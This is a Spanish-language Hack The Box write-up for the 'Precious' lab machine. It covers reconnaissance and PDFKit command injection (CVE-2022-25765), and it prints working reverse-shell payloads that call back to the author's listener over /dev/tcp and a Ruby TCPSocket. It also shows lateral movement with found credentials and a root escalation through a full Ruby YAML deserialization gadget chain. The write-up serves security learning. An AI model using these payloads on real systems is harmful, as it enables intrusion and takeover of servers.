Precious
Hack The Box — Metodología Detallada
Precious
| IP: | 10.129.228.98 |
| OS: | Linux |
| Dificultad: | Easy |
| Fecha: | 24 Jul 2026 |
Reconocimiento
Escaneo inicial
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.26.35 -oG allPorts
# Output
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Se identificaron dos puertos abiertos: el puerto 22 (SSH) y el puerto 80 (HTTP). Se procedió al escaneo de versiones para identificar los servicios exactos.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Se observo que no brindo informacion a la hora de buscar la version del servicio del puerto 80 asi que se agrego la ip a /etc/hosts para que continuara a la redireccion.
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Hallazgo: Aparte del nginx principalmente encontrado se identifico otro servicio llamado Phusion Passenger, se trata de un servidor web y de aplicaciones de codigo abierto, facilitando el despliegue de ellas en lenguaje de Ruby.

Fingerprinting de tecnologías
Hipótesis: Se realizo un WhatWeb para identificar mas tecnologias sobre la pagina, confirmar el stack y obtener versiones exactas para buscar CVEs.
whatweb http://precious.htb
http://precious.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 +
Phusion Passenger(R) 6.0.15], IP[10.129.32.203], Ruby-on-Rails, Title[Convert
Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options
[SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.15], X-XSS-Protection[1;
mode=block], nginx[1.18.0]
Hallazgo: El servidor expone nginx/1.18.0 con Phusion Passenger
6.0.15 como application server, y el stack es Ruby on Rails. Las
versiones exactas quedan visibles en los headers Server y
X-Powered-By.
Hipótesis: Se realizo fingerprinting a nivel de header de respuesta HTTP para confirmar que lenguaje se ejecuta por detras de la pagina. Conocer el lenguaje subyacente permite enfocarse en la familia de vulnerabilidades correcta (deserializacion, SSTI, CVEs de librerias Ruby) en lugar de probar ciegamente.
Se redirigio el trafico por Burpsuite enviando una peticion POST a la funcionalidad principal y se analizo la respuesta del servidor:
X-Runtime: Ruby
Este header solo aparece en la respuesta al POST, no en el GET inicial,
por lo que whatweb no lo capturo. Confirma que Ruby procesa las
peticiones del lado del servidor.
Identificación de la librería PDF
Hipótesis: Se coloco una URL apuntando a un servidor HTTP propio para que la aplicacion generara un PDF a partir de contenido controlado. El objetivo era analizar la metadata del PDF generado e identificar la libreria utilizada, ya que estas suelen dejar su nombre y version en los metadatos.
Se levanto el servidor:
python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
Se coloco la URL propia en el formulario:

Confirmacion de conexion entrante en el servidor Python y descarga del PDF:
10.129.228.98 - - [23/Jul/2026 21:56:46] "GET / HTTP/1.1" 200 -
ls
total 20
-rw-r--r-- 1 Avilx Avilx 17257 Jul 23 21:56 zkv4ci425wnee3u7geq8wod5yc6gpjew.pdf
Luego se analizo la metadata del PDF con exiftool:
ExifTool Version Number : 13.55
File Name : zkv4ci425wnee3u7geq8wod5yc6gpjew.pdf
Directory : .
File Size : 17 kB
File Modification Date/Time : 2026:07:23 21:56:47+00:00
File Access Date/Time : 2026:07:23 21:56:47+00:00
File Inode Change Date/Time : 2026:07:23 22:03:30+00:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
Hallazgo: Se identifico que la aplicacion utiliza PDFKit 0.8.6
para la generacion de documentos PDF. Esta version es vulnerable al
CVE-2022-25765, el cual permite a atacantes remotos ejecutar
comandos arbitrarios sin autenticacion. La raiz del problema es una
falta de sanitizacion en el parametro URL: PDFKit pasa la entrada
directamente a wkhtmltopdf sin validacion, permitiendo inyeccion de
comandos mediante expansion de shell con la sintaxis $() o comillas
invertidas.
Explotación
Construcción del payload
Luego de identificar el CVE, se procedio a construir una URL maliciosa para obtener una reverse shell. Primero se levanto el listener:
nc -lvnp 4444
Listening on 0.0.0.0 4444
Primer intento — URL con payload bash encodeado:
http:%2F%2F%24(sh%20-i%20%3E%26/dev/tcp/10.10.15.163/4444%200%3E%261)

Respuesta del servidor: You should provide a valid URL!
Por que no funciono: El servidor valida que la URL comience con
http:// en texto plano. Al encodear los primeros caracteres, la
validacion falla antes de que el payload llegue a ser procesado. Se
corrigio dejando el prefijo sin encodear:


El PDF se descargo pero el listener no recibio conexion. Se probo
reemplazando sh por bash:

Mismo resultado: PDF descargado, sin conexion. Se sospecho que el
caracter & encodeado generaba conflictos, pero tampoco funciono la
sintaxis alternativa sin &.
Payload correcto — Ruby socket
Se analizo el exploit publicado por UNICORDev en GitHub para el mismo CVE y se identifico el formato del payload real:
payload = f"http://%20`ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>
TCPSocket.new(\"{str(listenIP)}\",\"{str(listenPort)}\"))'`"
Por que los payloads anteriores fallaron: El servidor web ejecuta
Ruby, no bash. Al intentar invocar bash o sh directamente mediante
expansion de shell, el proceso no tenia disponibles los binarios en el
contexto esperado. El payload correcto usa Ruby para abrir el socket
directamente, ya que el entorno en el que se ejecuta el comando si tiene
Ruby disponible. En retrospectiva esto es logico dado el stack, pero era
informacion nueva en ese momento.
Se adapto el payload manualmente:
http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>
TCPSocket.new("10.10.15.163","4444"))'`

nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.228.98 46962
Estabilización de la shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
Confirmacion del usuario obtenido:
whoami
ruby
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
pwd
/var/www/pdfapp
Escalada de Privilegios
Enumeración como ruby — credenciales en texto plano
Luego de estabilizar la sesion, se enumero el sistema de archivos en busca de credenciales o configuraciones sensibles.
Hallazgo: En /home/ruby/.bundle/config se encontraron credenciales
en texto plano del usuario henry. Bundler, el gestor de dependencias
de Ruby, almacena credenciales de RubyGems en este archivo sin cifrado,
exponiendo usuario y contrasena a cualquier proceso con acceso al
directorio home.
cat /home/ruby/.bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
Con estas credenciales se realizo movimiento lateral al usuario henry:
su henry
Password: Q3c1AqGHtoI0aXAYFH
cat /home/henry/user.txt
7cf0bf8b6f**************e5826589
Enumeración como henry — sudo -l
Hallazgo: Al ejecutar sudo -l como henry, se identifico que
puede ejecutar el script /opt/update_dependencies.rb con ruby como
root sin necesidad de contrasena (NOPASSWD).
henry@precious:/home/ruby/.bundle$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Se leyo el contenido del script para entender su funcionamiento:
cat /opt/update_dependencies.rb
require "yaml"
require 'rubygems'
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
...
Hallazgo: El script usa YAML.load() para leer un archivo
dependencies.yml sin ruta absoluta, lo que significa que lo busca en
el directorio de trabajo actual. YAML.load() en Ruby es vulnerable a
deserializacion insegura: permite instanciar objetos arbitrarios de Ruby
al procesar el YAML, lo que puede derivar en ejecucion de comandos del
sistema.
Explotación — YAML deserialization
Se creo el archivo /home/henry/dependencies.yml con un payload de
deserializacion que abusa de la cadena de gadgets de Gem::Requirement
para ejecutar chmod +s /bin/bash, configurando el bit SUID en bash:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: x
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/resolve-constant
ref: Kernel
method_id: :system
git_set: "chmod +s /bin/bash"
method_id: :resolve
Se ejecuto el script con sudo desde el directorio de henry:
sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
...
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system':
no implicit conversion of nil into String (TypeError)
El error es esperado y forma parte del comportamiento normal del gadget.
Lo relevante es que el comando chmod +s /bin/bash se ejecuto antes de
que se produjera el error. Se verifico:
ls -la /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash
El bit SUID fue configurado correctamente. Se obtuvo shell como root:
/bin/bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
9bdcbed**************b3c9a310b70
Reflexión Final
Qué salió bien
-
El fingerprinting de tecnologias fue efectivo: WhatWeb, el header
X-Runtimevia Burpsuite y la metadata del PDF construyeron una imagen completa del stack antes de intentar cualquier explotacion. -
Se identifico correctamente el CVE vinculado a la version de PDFKit desde la metadata del archivo generado.
-
La enumeracion post-explotacion fue sistematica: se reviso el directorio home completo y se encontraron las credenciales en
.bundle/config. -
Se reconocio rapidamente el vector de
sudo -ly se analizo el script antes de intentar explotarlo.
Qué salió mal
-
Se perdio tiempo construyendo payloads bash/sh sin considerar que el entorno de ejecucion era Ruby. La lectura del exploit de referencia de UNICORDev debio hacerse antes de intentar payloads manuales a ciegas.
-
El encoding de la URL requirio varios intentos por no tener claro desde el inicio que caracteres debian encodearse y cuales debian quedar en texto plano para pasar la validacion del servidor.
Lecciones
-
El lenguaje del servidor define el payload. Si el stack es Ruby, el reverse shell debe hablar Ruby. Asumir que bash siempre esta disponible en el contexto de ejecucion es un error comun.
-
Primera vez explotando command injection via expansion de shell en parametro URL (CVE-2022-25765 / PDFKit). El patron es comun en aplicaciones que pasan input del usuario a comandos del sistema sin sanitizar.
-
Primera vez explotando deserializacion YAML insegura en Ruby con gadget chain de
Gem::Requirement.YAML.load()sin ruta absoluta mas permisos sudo es una combinacion critica. -
Los archivos de configuracion de gestores de dependencias (
.bundle/config,.npmrc,pip.conf) son vectores de credenciales frecuentemente ignorados en la enumeracion. -
La validacion de URL del lado del servidor puede bypassearse entendiendo exactamente que parte valida y que parte procesa: mantener
http://en texto plano y encodear solo el payload posterior.
Tiempo total
Aproximadamente 2 dias (sesiones distribuidas, incluyendo investigacion de CVEs y construccion manual de payloads).